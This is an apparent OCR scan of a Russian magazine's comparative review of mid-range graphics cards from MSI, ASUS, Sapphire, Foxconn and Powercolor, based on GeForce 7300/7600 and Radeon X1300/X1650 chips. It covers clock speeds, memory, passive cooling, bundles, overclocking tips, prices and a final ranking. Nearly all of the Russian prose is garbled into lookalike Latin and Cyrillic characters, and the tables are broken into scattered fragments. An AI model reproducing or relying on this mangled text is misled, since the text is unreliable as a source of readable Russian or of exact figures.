2,8 hc h nacTOTOH 650 MElc /Jjih nrp 
ruiaTa cjoaxTHHecxn He npeAHa3HaneHa 
H3-3a HH3XOH npOH3BOAHTeJIBHOCTH, 
pa3Be HTO C MHHHMaJIBHBIMH HaCTpOH- 
xaMH pa3pemeHH5T h xanecTBa rpacjonxM. 



opwrMHanbHOM Haxjiaflxow, xoTopaa npMfleTca 
no Bxycy MOflflepaM 


MSI NX7300GT-TD256EH 

BHAeonjiaTa paGoTaeT Ha CTaHAapT- 
hbixajih GeForce 7300GT nacTOTax — 
350/667 MTa. Ha njiaTe ycTaHOBjieHO 
256 MGaftT naMHTH GDDR2 npoH3- 
BOACTBa Infineon co BpeMeHeM AOCTy- 
na 2,86 hc, hto cooTBeTCTByeT nacTOTe 
700 Mfii. /jH3aHH nenaTHOH njiaTBi 
HAeHTHneH MSI NX7600GS-T2D256EH, 
OTcyrcTByeT tojibxo pa3BeM ajt a noAanH 
nHTaHHiT Ha BeHTHJHTTOp. fljIH OTBOAa 


Ternia ot rpa^nnecxoro BApa HcnojiB3y- 
eTcn naccHBHan CHCTeMa oxjiaacAeHHH, 
npeACTaBjiinoman coGoh MaccHBHBiH 
aJHOMHHHeBBIM paAHaTOp C MeAHOH 
BCTaBXOH B MeCTe COnpHXOCHOBeHHH c 
5TAPOM H MeAHOH TenjIOBOH TpyGxOH, 
npoxoAnmen nepe3 BecB paAHaTOp h MeA- 
Hy K) BCTaBxy. KoMmiexT nocTaBXH hach- 
THHeH ApyrHM npOAyXTaM JIHHeHXH 

GeForce 7300 ot ototo npOH3BOAHTejiH. 

fljiH HrpBi b hh3xhx pa3pemeHHHx npo- 
H3BOAHTejiBHOCTH GeForce 7300GT b 

GoJIBHIHHCTBe npHJI03CeHHH AOCTATOHHO • 
npH cooTBeTCTByiomeM pa3TOHe njiaTa 
cnocoGm nocopeBHOBaTBcn c GeForce 
7600GS, a npH ycTaHOBxe AByx rniaT b 
SFI mbi nojiynaeM npOH3BOAHTejiBHOCTB 
ypOBHn GeForce 7600GT. 

MSI NX7600GS-T2D256EH 

Ha xpacHOM TexcTOJinre pacnojioxnjiHCB 
nnn GeForce 7600GS h 256 MGafir naMn- 
th GDDR2 Hynix co BpeMeHeM AOCTyna 
2,5 hc. PaGonne nacTOTBi y miaTBi CTaH- 
AapTHBie — 400/800 Mru;. Moacjib cmG- 


Bufleon/iaTbi nnn OBepK/ioxepoB 



FOXCONN FV-N73TM2DT 


NVIDIA 7300GT flaeT Bbicox m pa3roHHbm 
noTeHUMan xax namv/\, Tax n Hwna 



SAPPHIRE RADEON X1650PR0 ULTIMATE 


fla>xe CTOiib MOiiiHaa naccuBHaa cncTeMa 
oxjiajxfleHiia - npenaTCTBwe flna pa3roHa 


CpeflM yHacTHMKOB TecTa npe>KAe Bcero 
caeAyeT BbiAeaMTb no6eAMTeaa b HOMMHa- 
[\m «0nTMMa/ibHbiM Bbi6op» — BMfleo- 
n^aTy PowercoLor X1300XT DDR3, KOTopaa 
M npM 3aBOACKMX HaCTpOMKaX OT/lMHaeT- 
ca 3aBbimeHHbiMM nacTOTaMM pa6oTbi, 
a npn pa3roHe cnoco6Ha npeB30MTM Aawe 
cbomx co6paTbeB M3 6oaee BbicoKMx 
KaTeropMM. I/I npn 3 tom ee noTeHAna/i, 
cyAa no cneunc|3MKauMM Hi/inoB nmniiA, 
peaaM3yeTca Bee >xe He noaHocTbio — 
AaabHeMinaa B03M0>KH0CTb noBbimeHi/ia 
npOM3BOAMTeabHOCTM npM nOMOlAH 
nepenpoiuMBKH BIOS ot njiaT CTapiiiMx 
KaTeropMM ocTaeTca. 


BbirOAHbIMM OBepKaoKepcKMMM BapMaH- 
TaMM BbimaAflT m TaKMe MOAeaM Kax 
npeAcraBMTe/ib CTaHa NVIDIA Foxconn 
FV-N73TM2DT Ha ocHOBe GeForce 7300GT, 
a TaK>Ke Sapphire Radeon X1650XT. 
riocaeAHMM oco6eHHo MHTepeceH: 
ycTaHOBaeHHbie HMnbi naMaTM mmckdt 
MMHMMaabHoe bo BceM TecTe BpeMa 
AOCTyna (1,3 hc), hto o6eiAaeT oco6eHHO 
BbicoKMM noieHAMaa pa3roHa naMaTM. 
06paTMTe BHMMaHMe Ha Sapphire Radeon 
X1650Pro Ultimate, ho Toabxo npM ycaoBMM 
3aMeHbi CMCTeMbi oxaa>KAeHMa. OpMrMHaab- 
Haa 6ecmyMHaa MOAeab 6yAeT He oneHb 
3C|3CtDeKTMBHOM npM nOBbllUeHMM HaCTOT. 
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Ta6jiMLia cpaBHemifl MwnoB 


riMKCeJlbHblX 

KOHBePiepoB 

BepuniHHbix 

KOHBenepoB 

Brokm 

TexcTyp 

Ejiokh pacT- 
poBbix onepaiiMM 

Hacma 
flflpa, Mfu 

HacTOTa 
naMRTM, Mfu 

Radeon XI 300 

4 

2 

4 

4 

450 

500 

Radeon X1300Pro 

4 

2 

4 

4 

600 

800 

Radeon X1300XT 

12 

5 

4 

4 

400 

780 

Radeon X1600Pro 

12 

5 

4 

4 

500 

780 

Radeon X1600XT 

12 

5 

4 

4 

590 

1380 

Radeon X1650Pro 

12 

5 

4 

4 

590 

1380 

Radeon X1650XT 

24 

8 

8 

8 

600 

1400 


GeForce 7300LE $ e 

4 

3 

4 

4 

450 

650 

GeForce 7300GS 

4 

3 

4 

4 

550 

810 

GeForce 7300GT 5 

8 

4 

8 

4 

350 

667 

GeForce 7600GS £ 

12 

5 

12 

8 

400 

800 

GeForce 7600GT || 

12 

5 

12 

8 

560 

1400 


■ 


xeHa naccHBHOH CHCTeMOH oxjiajKAeHHn, 
npe^CTaBjiHiomeH co6oh ajuoMHHHe- 

BblH pa^HaTOp C Me^HOH OCHOBOH, B 

MecTe conpHKOCHOBeHHii c rpa(j)HHec- 

KHM BApOM yCHJieHHBIH TemiOBOH Tpy6- 
koh. IIjiaTa ocHameHa AbyMH BxoAaMH 
DVI, o/];hhm S-Video h HDTV, pa3Be- 
Ae h pa3i>eM nHTaHHn BeHTHjmTopa. 

B KOMiuieKT TaKace bxoaht ahck c Apan- 
BepaMH h yTHjiHTaMH, DVD-mieep ot 
C yberLink, nrpa Brothers in arms: Road 
to hill 30, ABa nepexoAHHKa DVI-to- 
D-Sub, pa3BeTBHTejiB HDTV h S-Video, 
yAJiHHHTejiB S-Video h pyKOBOACTBO 

nojiB30BaTejin. 

ASUS EN7600GT 
Silent/2DHT/256M/A 

Bn^eonjiaTa npeACTaBjineT co6oh cjiaK- 
TunecKH GeForce 7600GT, paboTaio- 
myio Ha CTaH^apTHBix uacTOTax — 
560/1400 MTij, ho c HeoGbiuHoii nac- 
chbhoh CHCTeMOH oxjiajKAeHHn. Tenjio 
OT HHna OTBOAHTCH npH nOMOmH AByX 
TenjiOBBix TpyboK Ha Aba pa^naTOpa c 
Gojibhihm hhcjiom pe6ep, oahh H3 koto- 
pBIX paCnOJIOXeH C HHXHefi CTOpOHBI 
nenaTHOH njiaTBi, a btopoh BBmeceH 
b npocTpaHCTBO Ha a njiaTOH h HMeeT 
B03M0JKH0CTB nOBOpaUHBaTbCil Ha 90°. 
Ho CTOHT nOMHHTB, HTO BHACOmiaTbl 
C naccHBHOH CHCTeMOH OXJiaXAeHHH 
TpebyiOT rpaMOTHOH opraHH3au;HH B03- 
AyniHbix noTOKOB BHyTpH Kopnyca, 
Aa6bi ropiiHHH B03,ayx b HeM He 3aAep- 
xcHBajicn. B KOMnjieKT nocTaBKH bxo- 
Ah t HrpBi Piter Jackson’s King Kong, 
Xpand Rally, Ha6op cjmpMeHHBix yra- 
jiht ot ASUS, ahck c ApahBepaMH, ko- 
xaHoe nopTMOHe rjw ahckob, KOMimeKT 
npOBOAOB h nepexoaHHKOB. GeForce 
7600GT ^eMOHCTpHpyeT BbicouaHinyio 
npoH3BO/i,HTejiBHOCTB, hto AeJiaeT 3Ty 
Mo^ejib oahhm H3 jiHAepOB Hamero Tec- 
THpoBaHHn, ho ee iiern Bce-TaKH Kpaft- 
He BBICOKa. 

MSI NX7600GT-T2D256E 

no nacTOTHBiM xapaKTepHCTHKaM nepeA 
HaMH onepe^Han BapnaiiHii GeForce 
7600GT. A bot CHCTeMa oxjia^caemni 
HeobBiHHan, npHcyman cxopee Ton- 
npoayKTaM. Bo3ayx nponyBaeTca Majio- 
myMHOH TypbHHOH uepe3 paAHaTOpbi noA 
ruiacTMaccoBBiM mxyxoM h BbiayBaeTCH 
H3 Kopnyca. Tenjio Baa Tpybxa ycxopaeT 


npou;ecc OTBOAa Temia ot HApa. CaMO 
co6oh, njiaTa c TaKOH CHCTeMOH oxjiajK- 
AeHHH 3 aHHMaeT aea cjiOTa, 3 aTO npeno- 
CTaBjiaeT npenMymecTBa npn pa 3 TOHe. 
BecbMa KCTaTH h BxoAHHtan b KOMnjieKT 
co BceMH npo^yKTaMH MSI ymjiHTa rjw 
pa 3 TOHa DOT Homhmo Hee b komiuickt 
bxoaht nporpaMMHbiH DVD-roieep ot 
CyberLink, ah ck c ApaimepaMH h Apyrn- 
mh He MeHee nojie 3 HbiMH ymjiHTaMH, 
Hrpa Prince of Persia: the Two Thrones, 
KOMnjieKT nepexoAHHKOB h npOBOAOB. 

MSI NX7600GT-T2D256EZ 

njiaTa npHMenaTejibHa naccHBHOH chct e- 
MOH OXJiaJKACHHa . B OTJIHHHe ot ASUS 
KOMnaHHa MSI nontra no 6ojiee npocTO- 
My nym h He CTajia ncnojib30BaTb noA- 
BH3CHBIX naCTeft B KOHCTpyKUHH paAHaTO- 
pa. Ha jiHueBOH CTOpOHe nenaTHon njiaTbi 
cpaBHHTejibHO HebojibmoH paAHaTOp 
otboaht Tenjio ot HApa h naMHTH h nepe- 
AaeT ero npn noMomn AByx TemiOBbix 
TpyboK Ha Gojibiuoh paAHaTOp, pacnojio- 
aceHHbiH Ha obpaTHon CTOpOHe nenaTHOH 
iuiaTbi. 06a paAnaTOpa BbinojiHeHbi H3 
MeAHbix ciuiaBOB, hto noBbimaeT 3(JxJ>eK- 
THBHOCTb OXJiaJKAeHHH. KOMnjieKT noc- 
TaBKH, KaK h u;eHa, HAenraueH iuiaTe 6e3 
HHAeKCa Z B Ha3BaHHH. 

Powercolor X1300XT DDR3 

Ha iuiaTe ot Powercolor ycTaHOBjieHO 
256 MGaifr GDDR3 npOH3BOACTBa Hynix 
co BpeMeHeM Aoeryna 1,4 hc, hto coot- 
BeTCTByeT nacTOTe pabora 1400 MTu;. 
Ho no yMOJinaHHK) naMaTb paboTaeT Ha 
1000 MTa, a nacTOTa aApa cocTaBjiaeT 
500 MTu;. no cpaBHeHHio c ApyrHMH 
miaTaMH Ha X1300XT c GDDR3 homh- 
HajibHbie nacTOTbi HeBejiHKH, ho hhhto 


He MeniaeT noBbicHTb hx. BeAb npoAyKT 
ot Powercolor Majio neM OTjiHnaeTca ot 
R adeon X1650Pro/X1600XT h MoxeT 
padoTaTb Ha cooTBeTCTByiouiHx nacTOTax. 
TeM 6ojiee hto cncTeMbi oxjiaxAeHHH Ha 
Bcex Tpex iuiaTax hachthhhbi h paboTaiOT 
He TOJIbKO c GPU, HO H naMHTbio. 

YCTpOHCTBO OCHameHO AByMH DVI- 
BbixoAaMH h TejieBH3HOHHbiM S-Video. 
fljm nepeKjHoneHHn MexAy PAL h 
NTSC Ha njiaTe ycTaHOBjieH cneiinajib- 
hbih A^caMnep. B KOMnjieKT nocTaBKH 
BXOAHT AHCK C ApaHBepaMH, pyKOBOAC- 
TBO n OJT b30 BaT€ JT H , nepexoAHHKH DVI-to- 
D-Sub H S-Video-RCA. 

MSI RX1 300PR0-TD256E 

BnAeonjiaTa nocTaBjineTcn b Kopo6Ke c 
H3o6pajKeHHeM cpeAHeBeKOBoro pbiu;a- 
pn. Otacjibhbimh nnKTorpaMMaMH Ha 
Hen OTMeneHbi rpa(J>HnecKHH npoiiec- 
cop XI 300 Pro, odbeM h Tnn ycTaHOB- 
jieHHOH naMHTH — 256 M6ahT DDR2, 
HajiHnne AHcjipoBoro h TB-BbixoAa, a 
TaKace noAAep^Ka TejieBHAeHHn bbico- 
KOH HeTKOCTH HDTV 

HacTOTbi pabora rpa^nnecKoro npo- 
Aeccopa h naMHTH cooTBeTCTByioT pexo- 
MeHAOBaHHbiM AMD (ATI) rjw iuiaT Ha 
6a3e XI 300 Pro — 600/800 MTu;. CncTeMa 

OXJiaXAeHHH COCTOHT H3 aJHOMHHHeBOrO 
paAnaTOpa h ycTaHOBjieHHoro Ha HeM 
Kyjiepa. npn npaKTHnecKH GecmyMHOH 
paboTe oh oneHb 3(J)(J)eKTHBH0 cnpaBjin- 
eTcn co CBoen 3aAaHeh. 

B KOMnjieKT nocTaBKH bxoaht: ahck c 
ApaiiBepaMH, Ha6op no, BKjnonaioiAHH 
b ce6n MSI Live Update, GoodMem, 
LockBox, MSI Secure Doc, Norton 
Internet Security 2005, KaGejib S-Video, 
nepexoAHHK DVI-to-D-Sub. 
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OHeHb 3 tj 3 Cj)GKTMBHOil CMCieMOM naCCMBHOrO 
oxjia)KfleHmi, ho Tpe6yeT HeMaao MecTa 


MSI RX1 600PRO-TD256E 

BH^eonjiaTa 6a3HpyeTC5i Ha nnne PV530 
Pro (Radeon XI 600 Pro), padoTaionjeM 
Ha HOMHHajibHOH uacTOTe 500 Mid. Ha 
TeKCTOJiHTe KpacHoro iiBera ycTaHOBjie- 
HO BOCeMB UffllOB GDDR2 npOH 3 BO£C- 
TBa Infineon cyMMapHBiM oGbcmom 
256 MdaftT co BpeMeHeM aociyna 2,5 hc. 
CncTeMa oxjiaxAeHHn, cocTonman H3 
ajnoMHHHeBoro paanampa h oxjiaxaaio- 
njero ero BemruniTOpa, acfxjieKTHBHO 
cnpaBjineTCH co CBoeft 3aaaneft. 

B KOMnjieKT nocTaBKH BxoanT pyxo- 
BOACTBO n0JIB30BaTeJI5T, DVD c HrpOH 
Colin McRae Rally 2005, ancK c apaft- 

BepaMH H (|)HpMeHHBIMH yTHJIHTaMH 

MSI, nepexoAHHKH HDTV, S-Video/ 
Composite, nepexoaHHK DVI-to-D-Sub 
h npOBoa S-Video. 

MSI RX1 600XT-T2D256E 

Bn^eonjiaTa 6a3HpyeTcn Ha unne Radeon 
X1600XT. Rapo h 256 MdaftT GDDR3- 
naMHTH npOH3BOACTBa Infineon pado- 
TaiOT Ha nacTOTax 590 h 1380 MTu; 
cooTBeTCTBeHHO. CncTeMa oxjiaxmeHHH 
COCTOHT H3 Me^HOH IIOJJJIO^KKK H AByX 
Me^HBix paanaTOpOB, 3aKpBiTBix roiaciH- 
KOBBIM KOXCyXOM, B03^yX noa KOTOpBIM 

nporoHneTcn TypdHHoft. BnaeonjiaTa 
ocHaLneHa neyMn BBixoaaMH DVI h Tejie- 
bh3hohhbim S-Video. KoMimeKT nocTaB- 
kh aHajiomneH RX1600PRO. 

B npoaaxe moxcho BCTpeTHTB Moaejm 
c dojiee dbicipoft GDDR3-naMHTBio h 
B peMeHeM aociyna 1,2 hc (hto HHKax 
He OTodpaaceHo), Tax h c donee Mea- 
jieHHoit — GDDR2. nocjieaHHe cxopo 
Hcne3HyT H3 npoaaxoi, Tax xax dojiBine 
He npOH3BO#nTC5T — hm Ha CMeHy npn- 
mjin njiaTBi RX1650PRO. 



SAPPHIRE RADEON XI 300 


| ocHaujjena npoc- 
TbiM paflwaTopoM m He npeflocTaBJiaeT bo3- 
momhoctii fla)xe ajir MMHiiMajibHoro pa3roHa 


MSI RX1 650PR0-T2D256E 

H3aftH nenaTHOH njiaTBi j\jik 3Toft 
Moaejm no3anMCTBOBaH y jiHHeftKH 

X1300/X1600Pro. Bmccto nojioxeHHoft 
GDDR3-naMHTH Ha Heft ycTaHOBjieHa 
donee MeAJieHHan GDDR2, hto, KOHen- 
ho, He jiynmHM o6pa30M CKa3BiBaeTCH 
Ha npOH3BOAHTeJIBHOCTH. nocjieaHira 

nyTB BBime, ueM y RX1600PRO 3a cueT 
donee BBicoKoit uacTOTBi pa6oTBi napa, 
ho a o ypOBHH «necTHoro» Radeon 
X1650Pro eft, k coxajieHHio, aajieKO. 

Sapphire Radeon 
X1650Pro Ultimate 

BnaeonjiaTa BBinojiHem Ha 6a3e an 3aftHa 
nenaTHoft rniaTBi X1600XT. JXjw TemiooT- 
Boaa npHMeHHeTcn naccHBHan CHCTeMa 
oxjia^caeHHH. Temio, BBiaejimomeecH b 
npou;ecce padoTBi rpacjmuecKoro itapa, 
nonaaaeT Ha njiOTHO npmieraiomyio Mea- 
Hyio njracTHHy, c KOTOpoft no asyM Ten- 
jiobbim TpydxaM OTBoaHTcn Ha odparayio 
CTOpOHy nenaTHoft rniaTBi, rae h paccen- 
BaeTcn npH noMomn dojiBinoro paanaTO- 
pa c Gojibhihm hhcjiom pe6ep. Enje oaHo 
OTjiHHHe aaHHoro ynacTHHKa TecTa ot 
pe(j)epeHC -rniaTBi KpoeTcn b 6ojiee 6 bict- 
poft naMiiTH npoH3BoacTBa Infineon co 
BpeMeHeM aocTyna 1,3 hc, hto cooTBeTC- 
TByeT nacTOTe 1500 MTij. Ho no yMOJi- 
naHHio OHa padoTaeT Ha CTaHaapTHoft 
aJin Bcex X1650Pro uacTOTe 1380 MTu;. 
npOH3BOaHTeJIBHOCTB aaHHOft BHaeO- 
iuiaTBi 4>aKTHnecKH naeHTHHHa TaxoBoft 
y MoaejiH X1600XT h jihhib b HeKOTOpBix 
TecTax He3HanHTejiBHO OTCTaeT. 

KoMiuieKT nocTaBKH BKjnonaeT b ce6n 
PowerDVD 6, nrpy Just Cause, ancx c 
apaftBepaMH, nojiHBift Ha6op npOBoaoB h 
nepexoaHHKOB. 


Sapphire Radeon X1650XT 

Radeon X1650XT — hcckojibko 3ano3aa- 
jiBift OTBeT AMD Ha nouBjieHHe GeForce 
7600GT. OneBHaHO, hto dojiee MeaJieH- 
HBift Radeon X1600XT MoxeT conepHH- 
naTB tojibko c GeForce 7600GS, h no3- 
TOMy HexoTopoe BpeMH GeForce 7600GT 

HBJWJICH eaHHOJIHHHBIM JIHaepOM pBIH- 

xa middle -end. njiaTa Sapphire Radeon 
X1650XT aeMOHCTpHpyeT HaeHTHUHyio 
7600GT npOH3BoaHTejiBHOCTB. PadoTan 
Ha HaeHTHUHBix X1650Pro nacTOTax, nun 
odjiaaaeT BaBoe dojiBmHM hhcjiom nHK- 
CeJIBHBIX KOHBeftepOB, TeKCTypHBIX 6 jio- 
kob h Moayjieft ROP, a Taxace BoceMBio 
BMecTO iihth BepmHHHBiMH KOHBeftepa- 
mh. naMHTB, npoH3BeaeHHaH KOMnaHHeft 
Infineon, HMeeT BpeMn bbiGopkh 1,3 hc, 
hto cooTBeTCTByeT nacTOTe 1500 MTu;, ho 
no yMOJinaHHio OHa padoTaeT Ha donee 
HH3Koft nacTOTe — 1400 MTu;. 

CHCTeMa oxjiaxaeHHH npeacTaBjineT 
co6oft MeaHBift paanaTOp, ycnjieHHBift 
TemiOBoft TpydKoft, h TypdHHy, nporo- 
Huiomyio nepe3 Hero B03ayx. OHa BecB- 
Ma KOMnaKTa, 3aHHMaeT Bcero oaHH 
cjiot h He pa3apaxaeT chjibhbim myMOM. 
B KOMnjieKT nocTaBKH BxoanT Hrpa 
The DaVinci Code, rnieep PowerDVD 6, 
ancx c apaftBepaMH h yTHJIHTaMH, KOM- 
njieKT npOBoaoB h nepexoaHHKOB, moct 
C rossFire. Ha caMoft njiaTe HMeiOTcn aea 
cooTBeTCTByiomHx pa3BeMa a jih anna- 
paTHoft peajiH3au;HH CrossFire. 

MSI RX1 650XT-T2D256EZ 

EyKBa Z b HanMeHOBaHHH BHaeoiuiaTBi 
03HanaeT npHMeHeHHe naccHBHoft chc- 
TeMBi oxjiaxaeHHH. B aaHHOM cjiynae 
OHa H^eHTHHHa no KOHCTpyKHHH H npHH- 
iinny aeftcTBHH CHCTeMe oxjiaxaeHHH 



oxjiaMfleHHR juiflepa recia lame eecbMa 
MacciiBHa, xotr ii npome, neM y ASUS 
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Sapphire Radeon X1650Pro Ultimate, 
pa3Be hto paanaTop HeMHoro Kopoue h 
nmpe. B ocTajibHOM nepea HaMH o6mh- 
Hbiit Radeon X1650XT co HrraTHbiMH nac- 
TOTaMH H BbICOKOH npOH3BOAHTeJH>HOC- 
Tbio. KoMmieKT nocTaBKH BKjnonaeT ancK 
c apaHBepaMH n ynuiHraMH , DVD c nrpon 
Heroes of Might and Magic V, radop npo- 
BoaoB n nepexoaHHKOB. 

Sapphire Radeon 
XI 300 256MB V/D/VO 

njiaTa BbinojmeHa Ha chhcm TeKCTOJiHTe, 
ocHaiaeHa unnoM RV515, 256 M6aiTr 
naMirra (BOceMb unnoB GDDR2 2,8 hc 
npOH3BoacTBa Infineon) h TpeMH bbixo- 
aaMH: TB, DVI-I h D-Sub. MnKpocxeMa 
Rage Theatre, OTBeuaioman 3a cjiyHKHHH 
BnaeoBxoaa, OTcyrcTByeT. K ocodeHHOC- 
thm npoayKTa Sapphire ctoht OTHecTH 
nepeMbinxy, no3BOJi5Homyio H3MeHHTB 
pexHM BbiBoanMoro BHaeocnmajia — 
PAL hjth NTSC. 

naccHBHan CHCTeMa oxjiaxaeHHn 
npeacTaBjineT co6oii MaccHBHBiii paan- 
aTOp H3 ajnoMHHHeBbix cnjiaBOB. Bo 
BpeMH padoTbi oh aocTaTomro chjibho 
pa3orpeBaeTcn (ao 70 °C h Bbime). 
HnKaKHx npodjieM c ycTaHOBKOH chc- 
TeMbi B03ayniHoro oxjiaxaeHHH He bo 3- 
HHKHeT — Ha njiaTe pa3BeaeHO nHTaHHe 
arm BeHTHjiHTOpa h HMeiOTcn Bee Heo6- 
XOaHMbie OTBepCTHH B TeKCTOJiHTe. 
Moaejib 6e3 npodjieM nepeaejibiBaeTcn 
b X1300Pro nyreM 3aMeHbi BIOS. 

KoMnjieKT nocTaBKH BKjnonaeT b ce6n 
pyxoBoacTBO nojib30BaTejm, HDTV- 
aaanTep, TB-Ka6ejm, nepexoaHHKH 
DVI-to-D-Sub, S-Video-RCA, ancx c 
PowerDVD, ApaiiBepaMH, a Taxace DVD 
Sapphire Select. Ha Hero 3anncaHO 
neTbipe Hrpbi, ane H3 kotopbix bh nojiy- 
naeTe GecnjiaTHO. HlnKapHan KOMnjiex- 
Taann aJm pbiHKa low-end. 

MSI RX1300-TD256E 

BnaeonjiaTa npeacTaBjineT co6oh CTaH- 
aapTHbin Radeon XI 300, padoTaioiaHH 
Ha mTaTHbix nacTOTax. Ha njiaTe ycTa- 
HOBjieHO 256 M6aifr GDDR2 npOH3- 
BoacTBa Infineon co BpeMeHeM aocTyna 
2,8 hc. KoMnjieKT nocTaBKH aaHHOH 
BHaeonjiaTbi BKjnonaeT pyxoBoacTBO 
nojib30BaTejm, ahck c apaiiBepaMH h 
nporpaMMaMH, nepexoaHHKH DVI-to- 
D-Sub h S-Video-RCA. a sn? 


SSIl^CoBeTbi no Bbi 6 opy BMaeonjiaT 


ripOBepKd 
nepefl noKynKofi 

y CKpbiTbiM noieHunaji pa3roHa 

HeKOTopbie npoM3BOflmeaM BMAeon/iaT 
ycTaHaB/iMBaiOT Ha craHflapTHbie, Ha nep- 
Bbi m B 3M5IA, MOfleaM 6o/iee 6bicipbie, Hewe- 
jiM Toro Tpe6yeT cneuMcfDMKauMa, KOMruieK- 
TyioiAMe. B nepByio onepeAb sto Kacaeica 
naM^iTM: yciaHOBKa h m noB c MeHbWMM Bpe- 
MeHeM AOdyna, neM Tpe6yeMoe TaKTOBOM 
nacTOTOM, no3BO/iflei ripn noMOiAM pa3roHa 
3HaHme^bHO yBe/iMHMTb npon3BOAme/ib- 
HOCTb BMAeon^aTbi. 3aHaciyio noAo6Hbm 
noAxoA HMKaK He OTo6pa>KaeTCn b yna3aH- 
Hbix xapaKTepMCTM Kax ycipoMCTBa. 

y HacroTa naivumi: cneunc|)MKauMM 

ECAM eCTb B03M0)KH0CTb B3MHHyTb Ha HMnbl 
naMATM, to no yKa3aHH0My BpeMeHM AOdy- 
na mo>kho onpeAe^mb m ee AeMCTBme/ib- 
Hyfo (HeyABoeHHyfo) TaKTOByfo nacTOTy. 
fle^aeicn 3 to caMbiM npocTbiM nyieM: 

1000 Ae/imcn Ha yKa3aHHoe 3HaneHMe b hc. 
To ecTb A-nfl naMUTM c BpeMeHeM AOdyna 
1,4 hc 3 c|d cjoe kti/i b h an (yABoeHHan a^ scex 
DDR) nacTOTa pa6oibi cociaBm: 

2x1000/1,4 = 1428 Ml"u. 

/ PasroH no miny — HioaHCbi nmaHMB 

KpoMe toto, HeKOTopbie npoM3BOAHTe/iM 
A/151 Byniiiero pa3roHHoro noTeHUMana He- 
CKO/IbKO yBe/lMHMBaKDT nMT3HMe HMna. Ho 
TaKoe peiueHMe b 6ojibwi/iHCTBe cnynaeB 
BblAe/lMTb C/IO)KHO. 3HaHMTeAbHblM pa3TOH 
HApa B03M0)KeH KaK M3-3a KOHKpeTHOrO 
«yAaHHoro» 3K3eMnnapa HMna, TaK m M3-3a 
npMMeHeHMn BbicoKOKanecTBeHHbix 3jieKT- 
poAeia/ieM mam BbiiueyKa3aHHoro noBbiwe- 
HMfl HanpfDKeHMfl nMT3HMA. 


JlymiiMM npoflyKT 
II OnTMMaJlbHblM Bbl 6 op 



11 


Powercolor X1300XTDDR3 

HacTOTa padoTbi aflpa ashhom MOfle/iM 3Ha- 
Hme/ibHO npeBbiiuaeT peKOMeHflOBaHHyK) 
npoi/i3BOAi/uejieM, a yciaHOBJieHHaa naMaTb 
Tuna GDDR3 no3BO/iaei Ao6mbca eiAe 
6ojibiueM molahoctm. KpoMe Toro, AaHHaa 
nnaia npeKpacHO pa3roHaeica ao aoctm- 
>KeHwa i/iASHTi/iHHOM Radeon XI 650Pro npo- 
M3B0AMTeJibH0CTM npi/i 600/1280 MTu. 
CKopee Bcero, sto He npeAen. 

UeHa, $: 90 



MSI RX1 650XT-T2D256EZ 

B Kaieropi/ii/i «PyHiui/m npoAyKT» BbiOpaTb 
nodeAMTejia oKa3a/iocb KpawHe TpyAHO — 
ynacTHi/iKi/i Ha 6a3e Radeon X1650XT v \ 
GeForce 7600GT lujim OyKBa/ibHO BpoBeHb. 
Tl i/i in b caMoe He3HaHMTe/ibHoe npeBocxoA- 
ctbo nnaTbi ot MSI HaA cbommm conepHi/i- 
KaMi/i, a TaK>Ke omi/iHHoe KanecTBO i/i3roTOB- 
jieHMa i/i OeciuyMHaa padoia no3BOJinnn 
ew 3aHaTb MecTO ni/iAepa. 

UeHa, $: 180 



METOfll/IKA TECTI/IPOBAHI/lfl 


| nP0l/l3B0AI/ITEJ1bH0CTb 
B CMHTETMHECKMX TECTAX 


CEPBI/IC 



l1P0l/l3B0AI/ITEJ1bH0CTb 
B 1/irPAX 

I KOIVin/IEKTAUMB 


npOM3BOAme/lbHOCTb B MT pax 

TecTMpoBaHMe npoBOAMAOCb b HaM6onee 
nonyA5ipHbix m cnoiKHbix Mrpax. 
CliHTeTMMeCKMe TeCTbl 
3aMepnAacb CKopocTb b 3DMark 05, 

3DMark 06, Codecreatures Pro. 
KoMn/ieKTaunn 

OueHMBaAMCb KanecTBO McnoAHeHMfi, Knacc 
no, HaAMHMe p33AMHHblX BbIXOAOB M BXOAOB. 

CepBMc 

TapaHTM5i m noAAepwKa npoM3BOAMTeAeM 
(b TOM HMCAe pyCCKOfl3blHHafl). 
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am? 


MECTO | 

i 

2 

3 

4 

5 

6 

7 

8 

9 

Mofle/ib 

MSI RX1650XT- 
T2D256EZ 

ASUS EN7600GT 
Silent/2DHT/ 
256M/A 

Sapphire Radeon 
X1650XT 

MSI NX7600GT- 
T2D256EZ 

MSI NX7600GT- 
T2D256E 

ASUS EN7600GS 
Top Silent/HTD 
/512M/A 

Sapphire Radeon 
XI 650Pro Ulti- 
mate 

MSI NX7600GS- 
T2D256E 

MSI RX1600XT- 
T2D256E 

UeHa, $ 

180 

210 

180 

170 

170 

165 

150 

110 

140 


Anpec b MmepHeie (www) 


microstar.ru 


asuscom.ru 


sapphiretech.ru 


microstar.ru 


microstar.ru 


asuscom.ru 


sapphiretech.ru 


microstar.ru 


microstar.ru 


Ofiujafl oueHKa 


99 


98 


npoH 3 B. b urpax (60%) 
KoMruieKTaiiMfl (1 5%) 
ripOM 3 B. B CHHT. TeCTaX ( 15 %) 

CepBMC (1 0%) 

CooTHomeHne ueHa/KanecTBO 



BbIBOfl 


BbicoKaa cko- 
pOCTb B 3D I/I 
naccwBHoe 
oxua>KfleHMe 


yHMKaubHoe nac- 
ci/iBHoe oxna>K- 
fleHne i/i BbicoKaa 
CKOpOCTb B 3D 



BbicoKaa cko- 
pocTb, 6 bicTpaa 
naMBTb i/i Mefl- 
Haa ci/ideMa 
OXJia>KfleHMB 


CTi/uibHoe nac- 
ci/iBHoe oxnaw- 
Aem/ie i/i otjii/ih- 
Haa npoi/i3BOfli/i- 
TeUbHOCTb 


OCHOBHbie flO- 
CTOI/IHCTBa: Bbl- 
COKOacjDCjDeKTMB- 
Haa c m ct e m a 
OXUa>KfleHMB I/I 
xopoLuaa npon 3 - 
BOfll/ITeJlbHOCTb 


YBeunMeHHbie 

nacTOTbi pa6oTbi 

Hi/ina/naMBTi/i, 

naccuBHoe 

oxua>KfleHMe, 

512 M6awT 

naMBTi/i 


Bbidpaa naMBTb 
i/i naccuBHoe 
ox/ia>KfleHMe 


OflHOCUOTOBOe 
naccuBHoe ox- 
na>KfleHMe v\ xo- 
poLuaa npon3BO- 
fll/ITeUbHOCTb 


XopoLuaa cko- 
pOCTb, HO 3 aBbl- 
LueHHaa ueHa — 
3ti/i nuaTbi 6 oub- 
iue He npow 3 Bo- 
flflTCfl 


TexHMHecKHe xapaKTepMCTHKH 


l/lHTeptfoeMC 

PCI Express x16 

PCI Express x16 

